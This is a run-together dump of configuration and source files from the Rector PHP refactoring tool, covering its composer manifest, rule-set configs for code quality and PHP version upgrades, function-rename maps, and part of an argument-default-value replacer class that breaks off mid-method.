"name": "rector/rector", "description": "Instant Upgrade and Automated Refactoring of any PHP code", "license": "MIT", "keywords": ["dev", "refactoring", "automation", "migration"], "bin": [ "bin/rector" ], "require": { "php": "^7.2|^8.0", "phpstan/phpstan": "^1.12.5" }, "autoload": { "files": [ "bootstrap.php" ] }, "conflict": { "rector/rector-phpunit": "*", "rector/rector-symfony": "*", "rector/rector-doctrine": "*", "rector/rector-downgrade-php": "*" }, "minimum-stability": "dev", "prefer-stable": true, "suggest": { "ext-dom": "To manipulate phpunit.xml via the custom-rule command" } } paths([]); $rectorConfig->skip([]); $rectorConfig->autoloadPaths([]); $rectorConfig->bootstrapFiles([]); $rectorConfig->parallel(); // to avoid autoimporting out of the box $rectorConfig->importNames(\false, \false); $rectorConfig->removeUnusedImports(\false); $rectorConfig->importShortClasses(); $rectorConfig->indent(' ', 4); $rectorConfig->fileExtensions(['php']); $rectorConfig->cacheDirectory(\sys_get_temp_dir() . '/rector_cached_files'); $rectorConfig->containerCacheDirectory(\sys_get_temp_dir()); // use faster in-memory cache in CI. // CI always starts from scratch, therefore IO intensive caching is not worth it if ((new CiDetector())->isCiDetected()) { $rectorConfig->cacheClass(MemoryCacheStorage::class); } // load internal rector-* extension configs $extensionConfigResolver = new ExtensionConfigResolver(); foreach ($extensionConfigResolver->provide() as $extensionConfigFile) { $rectorConfig->import($extensionConfigFile); } // use original php-parser printer to avoid BC break on fluent call $rectorConfig->newLineOnFluentCall(\false); // allow real paths in output formatters $rectorConfig->reportingRealPath(\false); }; parameters: inferPrivatePropertyTypeFromConstructor: true # see original config.neon in phpstan.neon - https://github.com/phpstan/phpstan-src/blob/386eb913abb6ac05886c5642fd48b5d99db66a20/conf/config.neon#L1582 # this file overrides definitions from the config above services: defaultAnalysisParser: factory: @pathRoutingParser arguments!: [] cachedRectorParser: class: PHPStan\Parser\CachedParser arguments: originalParser: @rectorParser cachedNodesByStringCountMax: %cache.nodesByStringCountMax% autowired: false pathRoutingParser: class: PHPStan\Parser\PathRoutingParser arguments: currentPhpVersionRichParser: @cachedRectorParser currentPhpVersionSimpleParser: @cachedRectorParser php8Parser: @php8Parser autowired: false rectorParser: class: PHPStan\Parser\RichParser arguments: parser: @currentPhpVersionPhpParser lexer: @currentPhpVersionLexer autowired: no parameters: # see https://github.com/rectorphp/rector/issues/3490#issue-634342324 featureToggles: disableRuntimeReflectionProvider: false nodeConnectingVisitorCompatibility: false services: - Rector\NodeTypeResolver\Reflection\BetterReflection\RectorBetterReflectionSourceLocatorFactory - Rector\NodeTypeResolver\Reflection\BetterReflection\SourceLocator\IntermediateSourceLocator - Rector\NodeTypeResolver\Reflection\BetterReflection\SourceLocatorProvider\DynamicSourceLocatorProvider # basically decorates native PHPStan source locator with a dynamic source locator that is also available in Rector DI betterReflectionSourceLocator: class: PHPStan\BetterReflection\SourceLocator\Type\SourceLocator factory: ['@Rector\NodeTypeResolver\Reflection\BetterReflection\RectorBetterReflectionSourceLocatorFactory', 'create'] autowired: false $configuration) { $rectorConfig->ruleWithConfiguration($rectorClass, $configuration); } // the rule order matters, as its used in withCodeQualityLevel() method // place the safest rules first, follow by more complex ones $rectorConfig->rules(CodeQualityLevel::RULES); }; ruleWithConfiguration(FuncCallToConstFetchRector::class, ['php_sapi_name' => 'PHP_SAPI', 'pi' => 'M_PI']); $rectorConfig->rules([SeparateMultiUseImportsRector::class, NewlineAfterStatementRector::class, RemoveFinalFromConstRector::class, NullableCompareToNullRector::class, ConsistentImplodeRector::class, TernaryConditionVariableAssignmentRector::class, SymplifyQuoteEscapeRector::class, StringClassNameToClassConstantRector::class, CatchExceptionNameMatchingTypeRector::class, SplitDoubleAssignRector::class, EncapsedStringsToSprintfRector::class, WrapEncapsedVariableInCurlyBracesRector::class, NewlineBeforeNewAssignSetRector::class, MakeInheritedMethodVisibilitySameAsParentRector::class, CallUserFuncArrayToVariadicRector::class, VersionCompareFuncCallToConstantRector::class, CountArrayToEmptyArrayComparisonRector::class, CallUserFuncToMethodCallRector::class, FuncGetArgsToVariadicParamRector::class, StrictArraySearchRector::class, UseClassKeywordForClassNameResolutionRector::class, SplitGroupedPropertiesRector::class, SplitGroupedClassConstantsRector::class, ExplicitPublicClassMethodRector::class, RemoveUselessAliasInUseStatementRector::class]); }; rules([DateFuncCallToCarbonRector::class, DateTimeInstanceToCarbonRector::class, DateTimeMethodCallToCarbonRector::class, TimeFuncCallToCarbonRector::class]); }; rules(DeadCodeLevel::RULES); }; rules([ChangeNestedForeachIfsToEarlyContinueRector::class, ChangeIfElseValueAssignToEarlyReturnRector::class, ChangeNestedIfsToEarlyReturnRector::class, RemoveAlwaysElseRector::class, ChangeOrIfContinueToMultiContinueRector::class, PreparedValueToEarlyReturnRector::class, ReturnBinaryOrToEarlyReturnRector::class, ReturnEarlyIfVariableRector::class]); }; ruleWithConfiguration(RenameClassRector::class, ['Gmagick' => 'Imagick', 'GmagickPixel' => 'ImagickPixel']); $rectorConfig->ruleWithConfiguration(RenameMethodRector::class, [new MethodCallRename('Gmagick', 'addimage', 'addImage'), new MethodCallRename('Gmagick', 'addnoiseimage', 'addNoiseImage'), new MethodCallRename('Gmagick', 'annotateimage', 'annotateImage'), new MethodCallRename('Gmagick', 'blurimage', 'blurImage'), new MethodCallRename('Gmagick', 'borderimage', 'borderImage'), new MethodCallRename('Gmagick', 'charcoalimage', 'charcoalImage'), new MethodCallRename('Gmagick', 'chopimage', 'chopImage'), new MethodCallRename('Gmagick', 'commentimage', 'commentImage'), new MethodCallRename('Gmagick', 'compositeimage', 'compositeImage'), new MethodCallRename('Gmagick', 'cropimage', 'cropImage'), new MethodCallRename('Gmagick', 'cropthumbnailimage', 'cropThumbnailImage'), new MethodCallRename('Gmagick', 'cyclecolormapimage', 'cycleColormapImage'), new MethodCallRename('Gmagick', 'deconstructimages', 'deconstructImages'), new MethodCallRename('Gmagick', 'despeckleimage', 'despeckleImage'), new MethodCallRename('Gmagick', 'drawimage', 'drawImage'), new MethodCallRename('Gmagick', 'edgeimage', 'edgeImage'), new MethodCallRename('Gmagick', 'embossimage', 'embossImage'), new MethodCallRename('Gmagick', 'enhanceimage', 'enhanceImage'), new MethodCallRename('Gmagick', 'equalizeimage', 'equalizeImage'), new MethodCallRename('Gmagick', 'flipimage', 'flipImage'), new MethodCallRename('Gmagick', 'flopimage', 'flopImage'), new MethodCallRename('Gmagick', 'frameimage', 'frameImage'), new MethodCallRename('Gmagick', 'gammaimage', 'gammaImage'), new MethodCallRename('Gmagick', 'getcopyright', 'getCopyright'), new MethodCallRename('Gmagick', 'getfilename', 'getFilename'), new MethodCallRename('Gmagick', 'getimagebackgroundcolor', 'getImageBackgroundColor'), new MethodCallRename('Gmagick', 'getimageblueprimary', 'getImageBluePrimary'), new MethodCallRename('Gmagick', 'getimagebordercolor', 'getImageBorderColor'), new MethodCallRename('Gmagick', 'getimagechanneldepth', 'getImageChannelDepth'), new MethodCallRename('Gmagick', 'getimagecolors', 'getImageColors'), new MethodCallRename('Gmagick', 'getimagecolorspace', 'getImageColorspace'), new MethodCallRename('Gmagick', 'getimagecompose', 'getImageCompose'), new MethodCallRename('Gmagick', 'getimagedelay', 'getImageDelay'), new MethodCallRename('Gmagick', 'getimagedepth', 'getImageDepth'), new MethodCallRename('Gmagick', 'getimagedispose', 'getImageDispose'), new MethodCallRename('Gmagick', 'getimageextrema', 'getImageExtrema'), new MethodCallRename('Gmagick', 'getimagefilename', 'getImageFilename'), new MethodCallRename('Gmagick', 'getimageformat', 'getImageFormat'), new MethodCallRename('Gmagick', 'getimagegamma', 'getImageGamma'), new MethodCallRename('Gmagick', 'getimagegreenprimary', 'getImageGreenPrimary'), new MethodCallRename('Gmagick', 'getimageheight', 'getImageHeight'), new MethodCallRename('Gmagick', 'getimagehistogram', 'getImageHistogram'), new MethodCallRename('Gmagick', 'getimageindex', 'getImageIndex'), new MethodCallRename('Gmagick', 'getimageinterlacescheme', 'getImageInterlaceScheme'), new MethodCallRename('Gmagick', 'getimageiterations', 'getImageIterations'), new MethodCallRename('Gmagick', 'getimagematte', 'getImageMatte'), new MethodCallRename('Gmagick', 'getimagemattecolor', 'getImageMatteColor'), new MethodCallRename('Gmagick', 'getimageprofile', 'getImageProfile'), new MethodCallRename('Gmagick', 'getimageredprimary', 'getImageRedPrimary'), new MethodCallRename('Gmagick', 'getimagerenderingintent', 'getImageRenderingIntent'), new MethodCallRename('Gmagick', 'getimageresolution', 'getImageResolution'), new MethodCallRename('Gmagick', 'getimagescene', 'getImageScene'), new MethodCallRename('Gmagick', 'getimagesignature', 'getImageSignature'), new MethodCallRename('Gmagick', 'getimagetype', 'getImageType'), new MethodCallRename('Gmagick', 'getimageunits', 'getImageUnits'), new MethodCallRename('Gmagick', 'getimagewhitepoint', 'getImageWhitePoint'), new MethodCallRename('Gmagick', 'getimagewidth', 'getImageWidth'), new MethodCallRename('Gmagick', 'getpackagename', 'getPackageName'), new MethodCallRename('Gmagick', 'getquantumdepth', 'getQuantumDepth'), new MethodCallRename('Gmagick', 'getreleasedate', 'getReleaseDate'), new MethodCallRename('Gmagick', 'getsamplingfactors', 'getSamplingFactors'), new MethodCallRename('Gmagick', 'getsize', 'getSize'), new MethodCallRename('Gmagick', 'getversion', 'getVersion'), new MethodCallRename('Gmagick', 'hasnextimage', 'hasNextImage'), new MethodCallRename('Gmagick', 'haspreviousimage', 'hasPreviousImage'), new MethodCallRename('Gmagick', 'implodeimage', 'implodeImage'), new MethodCallRename('Gmagick', 'labelimage', 'labelImage'), new MethodCallRename('Gmagick', 'levelimage', 'levelImage'), new MethodCallRename('Gmagick', 'magnifyimage', 'magnifyImage'), new MethodCallRename('Gmagick', 'mapimage', 'mapImage'), new MethodCallRename('Gmagick', 'medianfilterimage', 'medianFilterImage'), new MethodCallRename('Gmagick', 'minifyimage', 'minifyImage'), new MethodCallRename('Gmagick', 'modulateimage', 'modulateImage'), new MethodCallRename('Gmagick', 'motionblurimage', 'motionBlurImage'), new MethodCallRename('Gmagick', 'newimage', 'newImage'), new MethodCallRename('Gmagick', 'nextimage', 'nextImage'), new MethodCallRename('Gmagick', 'normalizeimage', 'normalizeImage'), new MethodCallRename('Gmagick', 'oilpaintimage', 'oilPaintImage'), new MethodCallRename('Gmagick', 'previousimage', 'previousImage'), new MethodCallRename('Gmagick', 'profileimage', 'profileImage'), new MethodCallRename('Gmagick', 'quantizeimage', 'quantizeImage'), new MethodCallRename('Gmagick', 'quantizeimages', 'quantizeImages'), new MethodCallRename('Gmagick', 'queryfontmetrics', 'queryFontMetrics'), new MethodCallRename('Gmagick', 'queryfonts', 'queryFonts'), new MethodCallRename('Gmagick', 'queryformats', 'queryFormats'), new MethodCallRename('Gmagick', 'radialblurimage', 'radialBlurImage'), new MethodCallRename('Gmagick', 'raiseimage', 'raiseImage'), new MethodCallRename('Gmagick', 'readimage', 'readimages'), new MethodCallRename('Gmagick', 'readimageblob', 'readImageBlob'), new MethodCallRename('Gmagick', 'readimagefile', 'readImageFile'), new MethodCallRename('Gmagick', 'reducenoiseimage', 'reduceNoiseImage'), new MethodCallRename('Gmagick', 'removeimage', 'removeImage'), new MethodCallRename('Gmagick', 'removeimageprofile', 'removeImageProfile'), new MethodCallRename('Gmagick', 'resampleimage', 'resampleImage'), new MethodCallRename('Gmagick', 'resizeimage', 'resizeImage'), new MethodCallRename('Gmagick', 'rollimage', 'rollImage'), new MethodCallRename('Gmagick', 'rotateimage', 'rotateImage'), new MethodCallRename('Gmagick', 'scaleimage', 'scaleImage'), new MethodCallRename('Gmagick', 'separateimagechannel', 'separateImageChannel'), new MethodCallRename('Gmagick', 'setCompressionQuality', 'getCompressionQuality'), new MethodCallRename('Gmagick', 'setfilename', 'setFilename'), new MethodCallRename('Gmagick', 'setimagebackgroundcolor', 'setImageBackgroundColor'), new MethodCallRename('Gmagick', 'setimageblueprimary', 'setImageBluePrimary'), new MethodCallRename('Gmagick', 'setimagebordercolor', 'setImageBorderColor'), new MethodCallRename('Gmagick', 'setimagechanneldepth', 'setImageChannelDepth'), new MethodCallRename('Gmagick', 'setimagecolorspace', 'setImageColorspace'), new MethodCallRename('Gmagick', 'setimagecompose', 'setImageCompose'), new MethodCallRename('Gmagick', 'setimagedelay', 'setImageDelay'), new MethodCallRename('Gmagick', 'setimagedepth', 'setImageDepth'), new MethodCallRename('Gmagick', 'setimagedispose', 'setImageDispose'), new MethodCallRename('Gmagick', 'setimagefilename', 'setImageFilename'), new MethodCallRename('Gmagick', 'setimageformat', 'setImageFormat'), new MethodCallRename('Gmagick', 'setimagegamma', 'setImageGamma'), new MethodCallRename('Gmagick', 'setimagegreenprimary', 'setImageGreenPrimary'), new MethodCallRename('Gmagick', 'setimageindex', 'setImageIndex'), new MethodCallRename('Gmagick', 'setimageinterlacescheme', 'setImageInterlaceScheme'), new MethodCallRename('Gmagick', 'setimageiterations', 'setImageIterations'), new MethodCallRename('Gmagick', 'setimageprofile', 'setImageProfile'), new MethodCallRename('Gmagick', 'setimageredprimary', 'setImageRedPrimary'), new MethodCallRename('Gmagick', 'setimagerenderingintent', 'setImageRenderingIntent'), new MethodCallRename('Gmagick', 'setimageresolution', 'setImageResolution'), new MethodCallRename('Gmagick', 'setimagescene', 'setImageScene'), new MethodCallRename('Gmagick', 'setimagetype', 'setImageType'), new MethodCallRename('Gmagick', 'setimageunits', 'setImageUnits'), new MethodCallRename('Gmagick', 'setimagewhitepoint', 'setImageWhitePoint'), new MethodCallRename('Gmagick', 'setsamplingfactors', 'setSamplingFactors'), new MethodCallRename('Gmagick', 'setsize', 'setSize'), new MethodCallRename('Gmagick', 'shearimage', 'shearImage'), new MethodCallRename('Gmagick', 'solarizeimage', 'solarizeImage'), new MethodCallRename('Gmagick', 'spreadimage', 'spreadImage'), new MethodCallRename('Gmagick', 'stripimage', 'stripImage'), new MethodCallRename('Gmagick', 'swirlimage', 'swirlImage'), new MethodCallRename('Gmagick', 'thumbnailimage', 'thumbnailImage'), new MethodCallRename('Gmagick', 'trimimage', 'trimImage'), new MethodCallRename('Gmagick', 'writeimage', 'writeImage'), new MethodCallRename('GmagickPixel', 'getcolor', 'getColor'), new MethodCallRename('GmagickPixel', 'getcolorcount', 'getColorCount'), new MethodCallRename('GmagickPixel', 'getcolorvalue', 'getColorValue'), new MethodCallRename('GmagickPixel', 'setcolor', 'setColor'), new MethodCallRename('GmagickPixel', 'setcolorvalue', 'setColorValue')]); }; rules([EmptyOnNullableObjectToInstanceOfRector::class, InlineIsAInstanceOfRector::class, FlipTypeControlToUseExclusiveTypeRector::class, RemoveDeadInstanceOfRector::class, FlipNegatedTernaryInstanceofRector::class, BinaryOpNullableToInstanceofRector::class, WhileNullableToInstanceofRector::class]); }; sets([SetList::PHP_53, SetList::PHP_52]); }; sets([SetList::PHP_54, LevelSetList::UP_TO_PHP_53]); }; sets([SetList::PHP_55, LevelSetList::UP_TO_PHP_54]); }; sets([SetList::PHP_56, LevelSetList::UP_TO_PHP_55]); }; sets([SetList::PHP_70, LevelSetList::UP_TO_PHP_56]); }; sets([SetList::PHP_71, LevelSetList::UP_TO_PHP_70]); }; sets([SetList::PHP_72, LevelSetList::UP_TO_PHP_71]); }; sets([SetList::PHP_73, LevelSetList::UP_TO_PHP_72]); }; sets([SetList::PHP_74, LevelSetList::UP_TO_PHP_73]); }; sets([SetList::PHP_80, LevelSetList::UP_TO_PHP_74]); }; sets([SetList::PHP_81, LevelSetList::UP_TO_PHP_80]); }; sets([SetList::PHP_82, LevelSetList::UP_TO_PHP_81]); }; sets([SetList::PHP_83, LevelSetList::UP_TO_PHP_82]); }; sets([SetList::PHP_84, LevelSetList::UP_TO_PHP_83]); }; rules([RenameParamToMatchTypeRector::class, RenamePropertyToMatchTypeRector::class, RenameVariableToMatchNewTypeRector::class, RenameVariableToMatchMethodCallReturnTypeRector::class, RenameForeachValueVariableToMatchMethodCallReturnTypeRector::class, RenameForeachValueVariableToMatchExprVariableRector::class]); }; withRules([ArrayKeyFirstLastRector::class, IsCountableRector::class, GetDebugTypeRector::class, StrStartsWithRector::class, StrEndsWithRector::class, StrContainsRector::class]); rules([VarToPublicPropertyRector::class, ContinueToBreakInSwitchRector::class]); $rectorConfig->ruleWithConfiguration(RemoveFuncCallArgRector::class, [ // see https://www.php.net/manual/en/function.ldap-first-attribute.php new RemoveFuncCallArg('ldap_first_attribute', 2), ]); }; rules([TernaryToElvisRector::class, DirNameFileConstantToDirConstantRector::class, ReplaceHttpServerVarsByServerRector::class]); }; rules([LongArrayToShortArrayRector::class, RemoveReferenceFromCallRector::class, RemoveZeroBreakContinueRector::class]); $rectorConfig->ruleWithConfiguration(RenameFunctionRector::class, ['mysqli_param_count' => 'mysqli_stmt_param_count']); }; rules([StringClassNameToClassConstantRector::class, ClassConstantToSelfClassRector::class, PregReplaceEModifierRector::class, GetCalledClassToSelfClassRector::class, GetCalledClassToStaticClassRector::class, StaticToSelfOnFinalClassRector::class]); }; rule(PowToExpRector::class); $rectorConfig->ruleWithConfiguration(RenameFunctionRector::class, ['mcrypt_generic_end' => 'mcrypt_generic_deinit', 'set_socket_blocking' => 'stream_set_blocking', 'ocibindbyname' => 'oci_bind_by_name', 'ocicancel' => 'oci_cancel', 'ocicolumnisnull' => 'oci_field_is_null', 'ocicolumnname' => 'oci_field_name', 'ocicolumnprecision' => 'oci_field_precision', 'ocicolumnscale' => 'oci_field_scale', 'ocicolumnsize' => 'oci_field_size', 'ocicolumntype' => 'oci_field_type', 'ocicolumntyperaw' => 'oci_field_type_raw', 'ocicommit' => 'oci_commit', 'ocidefinebyname' => 'oci_define_by_name', 'ocierror' => 'oci_error', 'ociexecute' => 'oci_execute', 'ocifetch' => 'oci_fetch', 'ocifetchstatement' => 'oci_fetch_all', 'ocifreecursor' => 'oci_free_statement', 'ocifreestatement' => 'oci_free_statement', 'ociinternaldebug' => 'oci_internal_debug', 'ocilogoff' => 'oci_close', 'ocilogon' => 'oci_connect', 'ocinewcollection' => 'oci_new_collection', 'ocinewcursor' => 'oci_new_cursor', 'ocinewdescriptor' => 'oci_new_descriptor', 'ocinlogon' => 'oci_new_connect', 'ocinumcols' => 'oci_num_fields', 'ociparse' => 'oci_parse', 'ociplogon' => 'oci_pconnect', 'ociresult' => 'oci_result', 'ocirollback' => 'oci_rollback', 'ocirowcount' => 'oci_num_rows', 'ociserverversion' => 'oci_server_version', 'ocisetprefetch' => 'oci_set_prefetch', 'ocistatementtype' => 'oci_statement_type']); }; rules([ Php4ConstructorRector::class, TernaryToNullCoalescingRector::class, RandomFunctionRector::class, ExceptionHandlerTypehintRector::class, MultiDirnameRector::class, ListSplitStringRector::class, EmptyListRector::class, // be careful, run this just once, since it can keep swapping order back and forth ListSwapArrayOrderRector::class, CallUserMethodRector::class, EregToPregMatchRector::class, ReduceMultipleDefaultSwitchRector::class, TernaryToSpaceshipRector::class, WrapVariableVariableNameInCurlyBracesRector::class, IfToSpaceshipRector::class, StaticCallOnNonStaticToInstanceCallRector::class, ThisCallOnStaticMethodToStaticCallRector::class, BreakNotInLoopOrSwitchToReturnRector::class, RenameMktimeWithoutArgsToTimeRector::class, IfIssetToCoalescingRector::class, ]); }; rules([IsIterableRector::class, MultiExceptionCatchRector::class, AssignArrayToStringRector::class, RemoveExtraParametersRector::class, BinaryOpBetweenNumberAndStringRector::class, ListToArrayDestructRector::class]); }; ruleWithConfiguration(RenameFunctionRector::class, [ # and imagewbmp 'jpeg2wbmp' => 'imagecreatefromjpeg', # or imagewbmp 'png2wbmp' => 'imagecreatefrompng', #migration72.deprecated.gmp_random-function # http://php.net/manual/en/migration72.deprecated.php # or gmp_random_range 'gmp_random' => 'gmp_random_bits', 'read_exif_data' => 'exif_read_data', ]); $rectorConfig->rules([GetClassOnNullRector::class, ParseStrWithResultArgumentRector::class, StringsAssertNakedRector::class, CreateFunctionToAnonymousFunctionRector::class, StringifyDefineRector::class, WhileEachToForeachRector::class, ListEachRector::class, ReplaceEachAssignmentWithKeyCurrentRector::class, UnsetCastRector::class]); }; ruleWithConfiguration(RenameFunctionRector::class, [ # https://wiki.php.net/rfc/deprecations_php_7_3 'image2wbmp' => 'imagewbmp', 'mbregex_encoding' => 'mb_regex_encoding', 'mbereg' => 'mb_ereg', 'mberegi' => 'mb_eregi', 'mbereg_replace' => 'mb_ereg_replace', 'mberegi_replace' => 'mb_eregi_replace', 'mbsplit' => 'mb_split', 'mbereg_match' => 'mb_ereg_match', 'mbereg_search' => 'mb_ereg_search', 'mbereg_search_pos' => 'mb_ereg_search_pos', 'mbereg_search_regs' => 'mb_ereg_search_regs', 'mbereg_search_init' => 'mb_ereg_search_init', 'mbereg_search_getregs' => 'mb_ereg_search_getregs', 'mbereg_search_getpos' => 'mb_ereg_search_getpos', ]); $rectorConfig->rules([StringifyStrNeedlesRector::class, RegexDashEscapeRector::class, SetCookieRector::class, IsCountableRector::class, ArrayKeyFirstLastRector::class, SensitiveDefineRector::class, SensitiveConstantNameRector::class, SensitiveHereNowDocRector::class]); }; ruleWithConfiguration(RenameFunctionRector::class, [ #the_real_type # https://wiki.php.net/rfc/deprecations_php_7_4 'is_real' => 'is_float', ]); $rectorConfig->rules([ArrayKeyExistsOnPropertyRector::class, FilterVarToAddSlashesRector::class, ExportToReflectionFunctionRector::class, MbStrrposEncodingArgumentPositionRector::class, RealToFloatTypeCastRector::class, NullCoalescingOperatorRector::class, ClosureToArrowFunctionRector::class, RestoreDefaultNullToNullableTypePropertyRector::class, CurlyToSquareBracketArrayStringRector::class, MoneyFormatToNumberFormatRector::class, ParenthesizeNestedTernaryRector::class, RestoreIncludePathToIniRestoreRector::class, HebrevcToNl2brHebrevRector::class]); }; rules([StrContainsRector::class, StrStartsWithRector::class, StrEndsWithRector::class, StringableForToStringRector::class, ClassOnObjectRector::class, GetDebugTypeRector::class, RemoveUnusedVariableInCatchRector::class, ClassPropertyAssignToConstructorPromotionRector::class, ChangeSwitchToMatchRector::class, RemoveParentCallWithoutParentRector::class, SetStateToStaticRector::class, FinalPrivateToPrivateVisibilityRector::class, AddParamBasedOnParentClassMethodRector::class, MixedTypeRector::class, ClassOnThisVariableObjectRector::class, ConsistentImplodeRector::class]); $rectorConfig->ruleWithConfiguration(StaticCallToFuncCallRector::class, [new StaticCallToFuncCall('Nette\\Utils\\Strings', 'startsWith', 'str_starts_with'), new StaticCallToFuncCall('Nette\\Utils\\Strings', 'endsWith', 'str_ends_with'), new StaticCallToFuncCall('Nette\\Utils\\Strings', 'contains', 'str_contains')]); // nette\utils and Strings::replace() $rectorConfig->ruleWithConfiguration(ArgumentAdderRector::class, [new ArgumentAdder('Nette\\Utils\\Strings', 'replace', 2, 'replacement', '')]); // @see https://php.watch/versions/8.0/pgsql-aliases-deprecated $rectorConfig->ruleWithConfiguration(RenameFunctionRector::class, ['pg_clientencoding' => 'pg_client_encoding', 'pg_cmdtuples' => 'pg_affected_rows', 'pg_errormessage' => 'pg_last_error', 'pg_fieldisnull' => 'pg_field_is_null', 'pg_fieldname' => 'pg_field_name', 'pg_fieldnum' => 'pg_field_num', 'pg_fieldprtlen' => 'pg_field_prtlen', 'pg_fieldsize' => 'pg_field_size', 'pg_fieldtype' => 'pg_field_type', 'pg_freeresult' => 'pg_free_result', 'pg_getlastoid' => 'pg_last_oid', 'pg_loclose' => 'pg_lo_close', 'pg_locreate' => 'pg_lo_create', 'pg_loexport' => 'pg_lo_export', 'pg_loimport' => 'pg_lo_import', 'pg_loopen' => 'pg_lo_open', 'pg_loread' => 'pg_lo_read', 'pg_loreadall' => 'pg_lo_read_all', 'pg_lounlink' => 'pg_lo_unlink', 'pg_lowrite' => 'pg_lo_write', 'pg_numfields' => 'pg_num_fields', 'pg_numrows' => 'pg_num_rows', 'pg_result' => 'pg_fetch_result', 'pg_setclientencoding' => 'pg_set_client_encoding']); $rectorConfig->rule(OptionalParametersAfterRequiredRector::class); $rectorConfig->ruleWithConfiguration(FunctionArgumentDefaultValueReplacerRector::class, [new ReplaceFuncCallArgumentDefaultValue('version_compare', 2, 'gte', 'ge'), new ReplaceFuncCallArgumentDefaultValue('version_compare', 2, 'lte', 'le'), new ReplaceFuncCallArgumentDefaultValue('version_compare', 2, '', '!='), new ReplaceFuncCallArgumentDefaultValue('version_compare', 2, '!', '!='), new ReplaceFuncCallArgumentDefaultValue('version_compare', 2, 'g', 'gt'), new ReplaceFuncCallArgumentDefaultValue('version_compare', 2, 'l', 'lt'), new ReplaceFuncCallArgumentDefaultValue('version_compare', 2, 'n', 'ne'), new ReplaceFuncCallArgumentDefaultValue('get_headers', 1, 0, \false), new ReplaceFuncCallArgumentDefaultValue('get_headers', 1, 1, \true)]); }; rules([ReturnNeverTypeRector::class, MyCLabsClassToEnumRector::class, MyCLabsMethodCallToEnumConstRector::class, ReadOnlyPropertyRector::class, SpatieEnumClassToEnumRector::class, SpatieEnumMethodCallToEnumConstRector::class, NewInInitializerRector::class, NullToStrictStringFuncCallArgRector::class, FirstClassCallableRector::class]); }; rules([ReadOnlyClassRector::class, Utf8DecodeEncodeToMbConvertEncodingRector::class, FilesystemIteratorSkipDotsRector::class, VariableInStringInterpolationFixerRector::class]); }; rules([AddOverrideAttributeToOverriddenMethodsRector::class, AddTypeToConstRector::class, CombineHostPortLdapUriRector::class, RemoveGetClassGetParentClassNoArgsRector::class]); }; rules([ExplicitNullableParamTypeRector::class]); }; rules([PrivatizeLocalGetterToPropertyRector::class, PrivatizeFinalClassPropertyRector::class, PrivatizeFinalClassMethodRector::class]); }; rules([DeclareStrictTypesRector::class, PostIncDecToPreIncDecRector::class, FinalizeTestCaseClassRector::class]); }; rules([BooleanInBooleanNotRuleFixerRector::class, DisallowedEmptyRuleFixerRector::class, BooleanInIfConditionRuleFixerRector::class, BooleanInTernaryOperatorRuleFixerRector::class, DisallowedShortTernaryRuleFixerRector::class]); }; rules(TypeDeclarationLevel::RULES); }; nodeFactory = $nodeFactory; $this->valueResolver = $valueResolver; } /** * @template TCall as (MethodCall|StaticCall|ClassMethod|FuncCall|New_) * * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Expr\FuncCall|\PhpParser\Node\Expr\New_ $node * @return TCall|null */ public function processReplaces($node, ReplaceArgumentDefaultValueInterface $replaceArgumentDefaultValue) { if ($node instanceof ClassMethod) { if (!isset($node->params[$replaceArgumentDefaultValue->getPosition()])) { return null; } return $this->processParams($node, $replaceArgumentDefaultValue); } if (!isset($node->args[$replaceArgumentDefaultValue->getPosition()])) { return null; } return $this->processArgs($node, $replaceArgumentDefaultValue); } /** * @param mixed $value */ private function isDefaultValueMatched(?Expr $expr, $value) : bool { // allow any values before, also allow param without default value if ($value === ReplaceArgumentDefaultValue::ANY_VALUE_BEFORE) { return \true; } if (!$expr instanceof Expr) { return \false; } if ($this->valueResolver->isValue($expr, $value)) { return \true; } // ValueResolver::isValue returns false when default value is `null` return $value === null && $this->valueResolver->isNull($expr); } private function processParams(ClassMethod $classMethod, ReplaceArgumentDefaultValueInterface $replaceArgumentDefaultValue) : ?ClassMethod { $position = $replaceArgumentDefaultValue->getPosition(); if (!$this->isDefaultValueMatched($classMethod->params[$position]->default, $replaceArgumentDefaultValue->getValueBefore())) { return null; } $classMethod->params[$position]->default = $this->normalizeValue($replaceArgumentDefaultValue->getValueAfter()); return $classMethod; } /** * @template TCall as (MethodCall|StaticCall|FuncCall|New_) * * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\FuncCall|\PhpParser\Node\Expr\New_ $expr * @return TCall|null */ private function processArgs($expr, ReplaceArgumentDefaultValueInterface $replaceArgumentDefaultValue) : ?Expr { if ($expr->isFirstClassCallable()) { return null; } $position = $replaceArgumentDefaultValue->getPosition(); $particularArg = $expr->getArgs()[$position] ?? null; if (!$particularArg instanceof Arg) { return null; } $argValue = $this->valueResolver->getValue($particularArg->value); if (\is_scalar($replaceArgumentDefaultValue->getValueBefore()) && $argValue === $replaceArgumentDefaultValue->getValueBefore()) { $expr->args[$position] = $this->normalizeValueToArgument($replaceArgumentDefaultValue->getValueAfter()); } elseif (\is_array($replaceArgumentDefaultValue->getValueBefore())) { $newArgs = $this->processArrayReplacement($expr->getArgs(), $replaceArgumentDefaultValue); if (\is_array($newArgs)) { $expr->args = $newArgs; } } return $expr; } /** * @param mixed $value */ private function normalizeValueToArgument($value) : Arg { return new Arg($this->normalizeValue($value)); } /** * @return \PhpParser\Node\Expr\ClassConstFetch|\PhpParser\Node\Expr * @param mixed $value */ private function normalizeValue($value) { // class constants → turn string to composite if (\is_string($value) && \strpos($value, '::') !== \false) { [$class, $constant] = \explode('::', $value); return $this->nodeFactory->createClassConstFetch($class, $constant); } return BuilderHelpers::normalizeValue($value); } /** * @param array $args * @return array|null */ private function processArrayReplacement(array $args, ReplaceArgumentDefaultValueInterface $replaceArgumentDefaultValue) : ?array { $argumentValues = $this->resolveArgumentValuesToBeforeRecipe($args, $replaceArgumentDefaultValue); if ($argumentValues !== $replaceArgumentDefaultValue->getValueBefore()) { return null; } if (\is_string($replaceArgumentDefaultValue->getValueAfter())) { $args[$replaceArgumentDefaultValue->getPosition()] = $this->normalizeValueToArgument($replaceArgumentDefaultValue->getValueAfter()); // clear following arguments $argumentCountToClear = \count($replaceArgumentDefaultValue->getValueBefore()); for ($i = $replaceArgumentDefaultValue->getPosition() + 1; $i <= $replaceArgumentDefaultValue->getPosition() + $argumentCountToClear; ++$i) { unset($args[$i]); } } return $args; } /** * @param Arg[] $argumentNodes * @return mixed[] */ private function resolveArgumentValuesToBeforeRecipe(array $argumentNodes, ReplaceArgumentDefaultValueInterface $replaceArgumentDefaultValue) : array 